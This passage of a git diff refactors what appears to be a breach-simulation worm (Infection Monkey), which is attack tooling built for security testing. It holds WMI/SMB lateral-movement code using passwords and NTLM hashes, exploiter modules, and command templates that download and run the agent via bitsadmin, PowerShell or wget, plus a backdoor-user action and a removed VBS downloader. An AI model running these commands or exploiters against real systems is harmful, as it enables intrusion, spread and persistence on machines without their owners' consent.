+    @staticmethod
+    def execute_rpc_call(smb, rpc_func, *args):
+        dce = SmbTools.get_dce_bind(smb)
+        rpc_method_wrapper = getattr(srvs, rpc_func, None)
+        if not rpc_method_wrapper:
+            raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
+
+        return rpc_method_wrapper(dce, *args)
+
+    @staticmethod
+    def get_dce_bind(smb):
+        rpctransport = transport.SMBTransport(smb.getRemoteHost(),
+                                              smb.getRemoteHost(),
+                                              filename=r'\srvsvc',
+                                              smb_connection=smb)
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(srvs.MSRPC_UUID_SRVS)
+
+        return dce
diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py
new file mode 100644
index 000000000..abbb9f936
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py
@@ -0,0 +1,150 @@
+import logging
+
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
+from impacket.dcerpc.v5.dcomrt import DCOMConnection
+from impacket.dcerpc.v5.dtypes import NULL
+
+__author__ = 'itamar'
+
+LOG = logging.getLogger(__name__)
+
+
+class DceRpcException(Exception):
+    pass
+
+
+class AccessDeniedException(Exception):
+    def __init__(self, host, username, password, domain):
+        super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
+                                                    (host, domain, username, password))
+
+
+class WmiTools(object):
+    class WmiConnection(object):
+        def __init__(self):
+            self._dcom = None
+            self._iWbemServices = None
+
+        @property
+        def connected(self):
+            return self._dcom is not None
+
+        def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
+            if not domain:
+                domain = host.ip_addr
+
+            dcom = DCOMConnection(host.ip_addr,
+                                  username=username,
+                                  password=password,
+                                  domain=domain,
+                                  lmhash=lmhash,
+                                  nthash=nthash,
+                                  oxidResolver=True)
+
+            try:
+                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
+                                                     wmi.IID_IWbemLevel1Login)
+            except Exception as exc:
+                dcom.disconnect()
+
+                if "rpc_s_access_denied" == exc.message:
+                    raise AccessDeniedException(host, username, password, domain)
+
+                raise
+
+            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+
+            try:
+                self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
+                self._dcom = dcom
+            except:
+                dcom.disconnect()
+
+                raise
+            finally:
+                iWbemLevel1Login.RemRelease()
+
+        def close(self):
+            assert self.connected, "WmiConnection isn't connected"
+
+            self._iWbemServices.RemRelease()
+            self._iWbemServices = None
+
+            self._dcom.disconnect()
+            self._dcom = None
+
+    @staticmethod
+    def dcom_wrap(func):
+        def _wrapper(*args, **kwarg):
+            try:
+                return func(*args, **kwarg)
+            finally:
+                WmiTools.dcom_cleanup()
+
+        return _wrapper
+
+    @staticmethod
+    def dcom_cleanup():
+        for port_map in DCOMConnection.PORTMAPS.keys():
+            del DCOMConnection.PORTMAPS[port_map]
+        for oid_set in DCOMConnection.OID_SET.keys():
+            del DCOMConnection.OID_SET[port_map]
+
+        DCOMConnection.OID_SET = {}
+        DCOMConnection.PORTMAPS = {}
+        if DCOMConnection.PINGTIMER:
+            DCOMConnection.PINGTIMER.cancel()
+            DCOMConnection.PINGTIMER.join()
+            DCOMConnection.PINGTIMER = None
+
+    @staticmethod
+    def get_object(wmi_connection, object_name):
+        assert isinstance(wmi_connection, WmiTools.WmiConnection)
+        assert wmi_connection.connected, "WmiConnection isn't connected"
+
+        return wmi_connection._iWbemServices.GetObject(object_name)[0]
+
+    @staticmethod
+    def list_object(wmi_connection, object_name, fields=None, where=None):
+        assert isinstance(wmi_connection, WmiTools.WmiConnection)
+        assert wmi_connection.connected, "WmiConnection isn't connected"
+
+        if fields:
+            fields_query = ",".join(fields)
+        else:
+            fields_query = "*"
+
+        wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
+
+        if where:
+            wql_query += " WHERE %s" % (where,)
+
+        LOG.debug("Execution WQL query: %r", wql_query)
+
+        iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
+
+        query = []
+        try:
+            while True:
+                try:
+                    next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
+                    record = next_item.getProperties()
+
+                    if not fields:
+                        fields = record.keys()
+
+                    query_record = {}
+                    for key in fields:
+                        query_record[key] = record[key]['value']
+
+                    query.append(query_record)
+                except DCERPCSessionError as exc:
+                    if 1 == exc.error_code:
+                        break
+
+                    raise
+        finally:
+            iEnumWbemClassObject.RemRelease()
+
+        return query
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index 498c09eea..744853bdf 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -6,12 +6,16 @@
 
 import socket
 import time
+
+from common.utils.attack_utils import ScanStatus
 from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import build_monkey_commandline
-from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
+from infection_monkey.exploit.tools.http_tools import HTTPTools
 from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
 from logging import getLogger
 
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
+
 LOG = getLogger(__name__)
 
 __author__ = 'D3fa1t'
@@ -125,6 +129,7 @@ class VSFTPDExploiter(HostExploiter):
         change_permission = str.encode(str(change_permission) + '\n')
         LOG.info("change_permission command is %s", change_permission)
         backdoor_socket.send(change_permission)
+        T1222Telem(ScanStatus.USED, change_permission, self.host).send()
 
         # Run monkey on the machine
         parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 56aa77442..1b5b9d75b 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -5,10 +5,12 @@ from abc import abstractmethod
 
 from infection_monkey.exploit import HostExploiter
 from infection_monkey.model import *
-from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.http_tools import HTTPTools
 from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
 from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
 from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
 
 __author__ = 'VakarisZ'
 
@@ -307,7 +309,7 @@ class WebRCE(HostExploiter):
         """
         if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
             LOG.info("Powershell not found in host. Using bitsadmin to download.")
-            backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
+            backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
             T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
             resp = self.exploit(url, backup_command)
         return resp
@@ -366,8 +368,10 @@ class WebRCE(HostExploiter):
             command = CHMOD_MONKEY % {'monkey_path': path}
         try:
             resp = self.exploit(url, command)
+            T1222Telem(ScanStatus.USED, command, self.host).send()
         except Exception as e:
             LOG.error("Something went wrong while trying to change permission: %s" % e)
+            T1222Telem(ScanStatus.SCANNED, "", self.host).send()
             return False
         # If exploiter returns True / False
         if isinstance(resp, bool):
diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py
index 625de13c6..750fc932c 100644
--- a/monkey/infection_monkey/exploit/weblogic.py
+++ b/monkey/infection_monkey/exploit/weblogic.py
@@ -9,7 +9,9 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
 
 from infection_monkey.exploit.web_rce import WebRCE
 from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+from infection_monkey.network.info import get_free_tcp_port
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
 
 
 __author__ = "VakarisZ"
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index 170a7f1dc..047574d7e 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -14,11 +14,11 @@ from enum import IntEnum
 from impacket import uuid
 from impacket.dcerpc.v5 import transport
 
-from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.smb_tools import SmbTools
 from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
 from infection_monkey.network import SMBFinger
 from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
 from . import HostExploiter
 
 LOG = getLogger(__name__)
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 9439d7414..1f3e1cecc 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -6,8 +6,11 @@ import traceback
 from impacket.dcerpc.v5.rpcrt import DCERPCException
 
 from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
+from infection_monkey.exploit.tools.helpers import get_target_monkey, \
     get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
+from infection_monkey.exploit.tools.smb_tools import SmbTools
+from infection_monkey.exploit.tools.wmi_tools import WmiTools
 from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
 from common.utils.exploit_enum import ExploitType
 
@@ -33,8 +36,10 @@ class WmiExploiter(HostExploiter):
         creds = self._config.get_exploit_user_password_or_hash_product()
 
         for user, password, lm_hash, ntlm_hash in creds:
-            LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
-                      self.host, user, password, lm_hash, ntlm_hash)
+            password_hashed = self._config.hash_sensitive_data(password)
+            LOG.debug("Attempting to connect %r using WMI with "
+                      "user,password (SHA-512),lm hash,ntlm hash: ('%s','%s','%s','%s')",
+                      self.host, user, password_hashed, lm_hash, ntlm_hash)
 
             wmi_connection = WmiTools.WmiConnection()
 
@@ -44,23 +49,23 @@ class WmiExploiter(HostExploiter):
                 self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
                 LOG.debug("Failed connecting to %r using WMI with "
                           "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
-                          self.host, user, password, lm_hash, ntlm_hash)
+                          self.host, user, password_hashed, lm_hash, ntlm_hash)
                 continue
             except DCERPCException:
                 self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
                 LOG.debug("Failed connecting to %r using WMI with "
                           "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
-                          self.host, user, password, lm_hash, ntlm_hash)
+                          self.host, user, password_hashed, lm_hash, ntlm_hash)
                 continue
             except socket.error:
                 LOG.debug("Network error in WMI connection to %r with "
                           "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
-                          self.host, user, password, lm_hash, ntlm_hash)
+                          self.host, user, password_hashed, lm_hash, ntlm_hash)
                 return False
             except Exception as exc:
                 LOG.debug("Unknown WMI connection error to %r with "
                           "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
-                          self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
+                          self.host, user, password_hashed, lm_hash, ntlm_hash, exc, traceback.format_exc())
                 return False
 
             self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
@@ -91,7 +96,8 @@ class WmiExploiter(HostExploiter):
             # execute the remote dropper in case the path isn't final
             elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
                 cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
-                          build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
+                          build_monkey_commandline(
+                              self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
             else:
                 cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
                           build_monkey_commandline(self.host, get_monkey_depth() - 1)
@@ -118,3 +124,4 @@ class WmiExploiter(HostExploiter):
             return success
 
         return False
+
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index 817b83024..2bf5aabeb 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -8,7 +8,7 @@ import os
 import sys
 import traceback
 
-import infection_monkey.utils as utils
+from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
 from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
 from infection_monkey.dropper import MonkeyDrops
 from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
@@ -68,7 +68,7 @@ def main():
     else:
         print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
 
-    print("Loaded Configuration: %r" % WormConfiguration.as_dict())
+    print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
 
     # Make sure we're not in a machine that has the kill file
     kill_path = os.path.expandvars(
@@ -79,10 +79,10 @@ def main():
 
     try:
         if MONKEY_ARG == monkey_mode:
-            log_path = utils.get_monkey_log_path()
+            log_path = get_monkey_log_path()
             monkey_cls = InfectionMonkey
         elif DROPPER_ARG == monkey_mode:
-            log_path = utils.get_dropper_log_path()
+            log_path = get_dropper_log_path()
             monkey_cls = MonkeyDrops
         else:
             return True
@@ -127,8 +127,8 @@ def main():
                 json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
 
         return True
-    except Exception:
-        LOG.exception("Exception thrown from monkey's start function")
+    except Exception as e:
+        LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
     finally:
         monkey.cleanup()
 
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index e6c2e63a5..dd3e9ca63 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
 DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
 MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
 MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
-RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s'  % (MONKEY_ARG, )
-RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
 DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
 
 # Commands used for downloading monkeys
 POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
 WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
-RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
+BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
 CHMOD_MONKEY = "chmod +x %(monkey_path)s"
 RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
 # Commands used to check for architecture and if machine is exploitable
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 0be24db3f..f701c1c7b 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -7,7 +7,8 @@ import time
 from six.moves import xrange
 
 import infection_monkey.tunnel as tunnel
-import infection_monkey.utils as utils
+from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
+from infection_monkey.utils.monkey_log_path import get_monkey_log_path
 from infection_monkey.config import WormConfiguration
 from infection_monkey.control import ControlClient
 from infection_monkey.model import DELAY_DELETE_CMD
@@ -16,6 +17,7 @@ from infection_monkey.network.network_scanner import NetworkScanner
 from infection_monkey.system_info import SystemInfoCollector
 from infection_monkey.system_singleton import SystemSingleton
 from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
+from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
 from infection_monkey.telemetry.scan_telem import ScanTelem
 from infection_monkey.telemetry.state_telem import StateTelem
 from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
@@ -23,8 +25,10 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
 from infection_monkey.telemetry.tunnel_telem import TunnelTelem
 from infection_monkey.windows_upgrader import WindowsUpgrader
 from infection_monkey.post_breach.post_breach_handler import PostBreach
-from common.utils.attack_utils import ScanStatus
-from infection_monkey.exploit.tools import get_interface_to_target
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
+from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
+from common.utils.attack_utils import ScanStatus, UsageEnum
 
 __author__ = 'itamar'
 
@@ -66,10 +70,7 @@ class InfectionMonkey(object):
         self._parent = self._opts.parent
         self._default_tunnel = self._opts.tunnel
         self._default_server = self._opts.server
-        try:
-            self._default_server_port = self._default_server.split(':')[1]
-        except KeyError:
-            self._default_server_port = ''
+
         if self._opts.depth:
             WormConfiguration._depth_from_commandline = True
         self._keep_running = True
@@ -86,12 +87,13 @@ class InfectionMonkey(object):
     def start(self):
         LOG.info("Monkey is running...")
 
-        if not ControlClient.find_server(default_tunnel=self._default_tunnel):
-            LOG.info("Monkey couldn't find server. Going down.")
+        # Sets island's IP and port for monkey to communicate to
+        if not self.set_default_server():
             return
+        self.set_default_port()
 
         # Create a dir for monkey files if there isn't one
-        utils.create_monkey_dir()
+        create_monkey_dir()
 
         if WindowsUpgrader.should_upgrade():
             self._upgrading_to_64 = True
@@ -103,6 +105,9 @@ class InfectionMonkey(object):
         ControlClient.wakeup(parent=self._parent)
         ControlClient.load_control_config()
 
+        if utils.is_windows_os():
+            T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()
+
         if not WormConfiguration.alive:
             LOG.info("Marked not alive from configuration")
             return
@@ -114,10 +119,7 @@ class InfectionMonkey(object):
         if monkey_tunnel:
             monkey_tunnel.start()
 
-        StateTelem(False).send()
-
-        self._default_server = WormConfiguration.current_server
-        LOG.debug("default server: %s" % self._default_server)
+        StateTelem(is_done=False).send()
         TunnelTelem().send()
 
         if WormConfiguration.collect_system_info:
@@ -183,7 +185,7 @@ class InfectionMonkey(object):
                                                    (':'+self._default_server_port if self._default_server_port else ''))
                     else:
                         machine.set_default_server(self._default_server)
-                    LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
+                    LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
 
                 # Order exploits according to their type
                 if WormConfiguration.should_exploit:
@@ -229,14 +231,13 @@ class InfectionMonkey(object):
             InfectionMonkey.close_tunnel()
             firewall.close()
         else:
-            StateTelem(False).send()  # Signal the server (before closing the tunnel)
+            StateTelem(is_done=True).send()  # Signal the server (before closing the tunnel)
             InfectionMonkey.close_tunnel()
             firewall.close()
             if WormConfiguration.send_log_to_server:
                 self.send_log()
             self._singleton.unlock()
 
-        utils.remove_monkey_dir()
         InfectionMonkey.self_delete()
         LOG.info("Monkey is shutting down")
 
@@ -249,9 +250,13 @@ class InfectionMonkey(object):
 
     @staticmethod
     def self_delete():
+        status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
+        T1107Telem(status, get_monkey_dir_path()).send()
+
         if WormConfiguration.self_delete_in_cleanup \
                 and -1 == sys.executable.find('python'):
             try:
+                status = None
                 if "win32" == sys.platform:
                     from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
                     startupinfo = subprocess.STARTUPINFO()
@@ -262,11 +267,15 @@ class InfectionMonkey(object):
                                      close_fds=True, startupinfo=startupinfo)
                 else:
                     os.remove(sys.executable)
+                    status = ScanStatus.USED
             except Exception as exc:
                 LOG.error("Exception in self delete: %s", exc)
+                status = ScanStatus.SCANNED
+            if status:
+                T1107Telem(status, sys.executable).send()
 
     def send_log(self):
-        monkey_log_path = utils.get_monkey_log_path()
+        monkey_log_path = get_monkey_log_path()
         if os.path.exists(monkey_log_path):
             with open(monkey_log_path, 'r') as f:
                 log = f.read()
@@ -297,7 +306,11 @@ class InfectionMonkey(object):
                 return True
             else:
                 LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
-
+        except ExploitingVulnerableMachineError as exc:
+            LOG.error("Exception while attacking %s using %s: %s",
+                      machine, exploiter.__class__.__name__, exc)
+            self.successfully_exploited(machine, exploiter)
+            return True
         except Exception as exc:
             LOG.exception("Exception while attacking %s using %s: %s",
                           machine, exploiter.__class__.__name__, exc)
@@ -321,3 +334,17 @@ class InfectionMonkey(object):
             self._keep_running = False
 
             LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
+
+    def set_default_port(self):
+        try:
+            self._default_server_port = self._default_server.split(':')[1]
+        except KeyError:
+            self._default_server_port = ''
+
+    def set_default_server(self):
+        if not ControlClient.find_server(default_tunnel=self._default_tunnel):
+            LOG.info("Monkey couldn't find server. Going down.")
+            return False
+        self._default_server = WormConfiguration.current_server
+        LOG.debug("default server set to: %s" % self._default_server)
+        return True
diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py
index 31ce6e24a..aaac09be2 100644
--- a/monkey/infection_monkey/network/elasticfinger.py
+++ b/monkey/infection_monkey/network/elasticfinger.py
@@ -6,11 +6,11 @@ import requests
 from requests.exceptions import Timeout, ConnectionError
 
 import infection_monkey.config
+from common.data.network_consts import ES_SERVICE
 from infection_monkey.model.host import VictimHost
 from infection_monkey.network import HostFinger
 
 ES_PORT = 9200
-ES_SERVICE = 'elastic-search-9200'
 ES_HTTP_TIMEOUT = 5
 LOG = logging.getLogger(__name__)
 __author__ = 'danielg'
diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
index 3a9adef57..5e448002c 100644
--- a/monkey/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -10,7 +10,7 @@ import re
 from six.moves import range
 
 from infection_monkey.pyinstaller_utils import get_binary_file_path
-from infection_monkey.utils import is_64bit_python
+from infection_monkey.utils.environment import is_64bit_python
 
 DEFAULT_TIMEOUT = 10
 BANNER_READ = 1024
diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index ff7ae3a50..09c8d4796 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -1,21 +1,16 @@
-import datetime
+from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.config import WormConfiguration
-
-
-__author__ = 'danielg'
-
-LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
-                  datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
-                  WormConfiguration.user_to_add]
-
-WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
-                    WormConfiguration.remote_user_pass,
-                    '/add', '/ACTIVE:NO']
+from infection_monkey.utils.users import get_commands_to_add_user
 
 
 class BackdoorUser(PBA):
     def __init__(self):
-        super(BackdoorUser, self).__init__("Backdoor user",
-                                           linux_cmd=' '.join(LINUX_COMMANDS),
-                                           windows_cmd=WINDOWS_COMMANDS)
+        linux_cmds, windows_cmds = get_commands_to_add_user(
+            WormConfiguration.user_to_add,
+            WormConfiguration.remote_user_pass)
+        super(BackdoorUser, self).__init__(
+            POST_BREACH_BACKDOOR_USER,
+            linux_cmd=' '.join(linux_cmds),
+            windows_cmd=windows_cmds)
+
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
new file mode 100644
index 000000000..296179d41
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -0,0 +1,143 @@
+import logging
+import os
+import random
+import string
+import subprocess
+import time
+
+import win32event
+
+from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError
+from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
+from infection_monkey.utils.environment import is_windows_os
+from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user, get_linux_commands_to_add_user
+
+PING_TEST_DOMAIN = "google.com"
+
+PING_WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000
+
+CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged."
+CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})."
+
+USERNAME = "somenewuser"
+PASSWORD = "N3WPa55W0rD!1"
+
+logger = logging.getLogger(__name__)
+
+
+class CommunicateAsNewUser(PBA):
+    """
+    This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People
+    pillar. See the relevant telemetry processing to see what findings are created.
+    """
+
+    def __init__(self):
+        super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER)
+
+    def run(self):
+        username = CommunicateAsNewUser.get_random_new_user_name()
+        if is_windows_os():
+            self.communicate_as_new_user_windows(username)
+        else:
+            self.communicate_as_new_user_linux(username)
+
+    @staticmethod
+    def get_random_new_user_name():
+        return USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
+
+    def communicate_as_new_user_linux(self, username):
+        try:
+            # add user + ping
+            linux_cmds = get_linux_commands_to_add_user(username)
+            commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN)
+            linux_cmds.extend([";", "sudo", "-u", username, commandline])
+            final_command = ' '.join(linux_cmds)
+            exit_status = os.system(final_command)
+            self.send_ping_result_telemetry(exit_status, commandline, username)
+            # delete the user, async in case it gets stuck.
+            _ = subprocess.Popen(
+                get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True)
+            # Leaking the process on purpose - nothing we can do if it's stuck.
+        except subprocess.CalledProcessError as e:
+            PostBreachTelem(self, (e.output, False)).send()
+
+    def communicate_as_new_user_windows(self, username):
+        # Importing these only on windows, as they won't exist on linux.
+        import win32con
+        import win32process
+        import win32api
+
+        try:
+            with AutoNewUser(username, PASSWORD) as new_user:
+                # Using os.path is OK, as this is on windows for sure
+                ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe")
+                if not os.path.exists(ping_app_path):
+                    PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send()
+                    return  # Can't continue without ping.
+
+                try:
+                    # Open process as that user:
+                    # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
+                    commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1")
+                    process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser(
+                        new_user.get_logon_handle(),  # A handle to the primary token that represents a user.
+                        None,  # The name of the module to be executed.
+                        commandline,  # The command line to be executed.
+                        None,  # Process attributes
+                        None,  # Thread attributes
+                        True,  # Should inherit handles
+                        win32con.NORMAL_PRIORITY_CLASS,  # The priority class and the creation of the process.
+                        None,  # An environment block for the new process. If this parameter is NULL, the new process
